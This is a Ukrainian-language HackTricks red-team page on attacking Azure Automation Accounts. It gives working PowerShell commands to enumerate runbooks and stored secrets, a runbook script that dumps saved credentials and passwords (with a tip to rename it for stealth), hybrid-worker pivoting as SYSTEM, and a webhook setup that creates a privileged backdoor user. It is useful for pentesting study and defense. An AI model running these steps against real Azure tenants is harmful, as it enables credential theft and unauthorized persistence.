Az - Automation Account

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

З документації: Azure Automation надає хмарний сервіс автоматизації, оновлення операційної системи та конфігурації, який підтримує послідовне управління у вашому середовищі Azure та поза ним. Він включає автоматизацію процесів, управління конфігурацією, управління оновленнями, спільні можливості та гетерогенні функції.

Це схоже на "заплановані завдання" в Azure, які дозволяють вам виконувати речі (дії або навіть скрипти) для управління, перевірки та налаштування середовища Azure.

Обліковий запис Run As

Коли використовується Обліковий запис Run as, він створює додаток Azure AD з самопідписаним сертифікатом, створює службовий принципал та надає роль Contributor для облікового запису в поточній підписці Azure (багато привілеїв). Microsoft рекомендує використовувати Управлінську ідентичність для облікового запису автоматизації.

Це буде видалено 30 вересня 2023 року та замінено на Управлінські ідентичності.

Runbooks та Роботи

Runbooks дозволяють вам виконувати довільний код PowerShell. Це може бути зловживано зловмисником для крадіжки дозволів прикріпленого принципала (якщо такий є). У коді Runbooks ви також можете знайти чутливу інформацію (таку як облікові дані).

Якщо ви можете читати роботи, зробіть це, оскільки вони містять вивід виконання (можлива чутлива інформація).

Перейдіть до Облікові записи автоматизації --> <Виберіть обліковий запис автоматизації> --> Runbooks/Роботи/Гібридні робочі групи/Завдання спостерігача/Облікові дані/Змінні/Сертифікати/З'єднання

Гібридний робітник

Runbook може бути запущений в контейнері всередині Azure або в Гібридному робітнику (машині поза Azure). На ВМ встановлюється агент Log Analytics для реєстрації його як гібридного робітника. Роботи гібридного робітника виконуються як SYSTEM на Windows та обліковий запис nxautomation на Linux. Кожен Гібридний робітник реєструється в Групі гібридних робітників.

Отже, якщо ви можете вибрати запуск Runbook в Гібридному робітнику Windows, ви виконаєте довільні команди всередині зовнішньої машини як System (чудова техніка півоту).

Компрометація стану конфігурації (SC)

З документації: Azure Automation State Configuration - це служба управління конфігурацією Azure, яка дозволяє вам писати, управляти та компілювати конфігурації PowerShell Desired State Configuration (DSC) configurations для вузлів у будь-якому хмарі або в центрі обробки даних на місці. Служба також імпортує DSC Resources та призначає конфігурації цільовим вузлам, все це в хмарі. Ви можете отримати доступ до Azure Automation State Configuration в порталі Azure, вибравши State configuration (DSC) під Управління конфігурацією.

У цих конфігураціях може бути знайдена чутлива інформація.

RCE

Можливо використовувати SC для запуску довільних скриптів на керованих машинах.

pageAz - State Configuration RCE

Перелік

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Витягнення облікових даних та змінних, визначених в обліковому записі автоматизації за допомогою робочого зошита

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Ви можете зробити те саме, модифікуючи існуючий Run Book, а також з веб-консолі.

Кроки для налаштування автоматизованого створення користувача з високими привілеями

1. Ініціалізувати обліковий запис автоматизації

  • Необхідна дія: Створіть новий обліковий запис автоматизації.

  • Конкретна настройка: Переконайтеся, що "Створення облікового запису Azure Run As" увімкнено.

2. Імпорт та налаштування Runbook

  • Джерело: Завантажте зразок runbook з сховища MicroBurst GitHub.

  • Необхідні дії:

  • Імпортуйте runbook в обліковий запис автоматизації.

  • Опублікуйте runbook, щоб зробити його виконавчим.

  • Прикріпіть webhook до runbook, увімкнувши зовнішні спрацювання.

3. Налаштування модуля AzureAD

  • Необхідна дія: Додайте модуль AzureAD до облікового запису автоматизації.

  • Додатковий крок: Переконайтеся, що всі модулі автоматизації Azure оновлені до останніх версій.

4. Призначення дозволів

  • Ролі для призначення:

  • Адміністратор користувачів

  • Власник підписки

  • Ціль: Призначте ці ролі обліковому запису автоматизації для необхідних привілеїв.

5. Усвідомлення можливої втрати доступу

  • Примітка: Будьте уважні, що налаштування такої автоматизації може призвести до втрати контролю над підпискою.

6. Запуск створення користувача

  • Запустіть webhook для створення нового користувача, надіславши запит POST.

  • Використовуйте наданий сценарій PowerShell, переконавшись, що заміните $uri на фактичний URL webhook та оновите $AccountInfo із бажаним ім'ям користувача та паролем.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated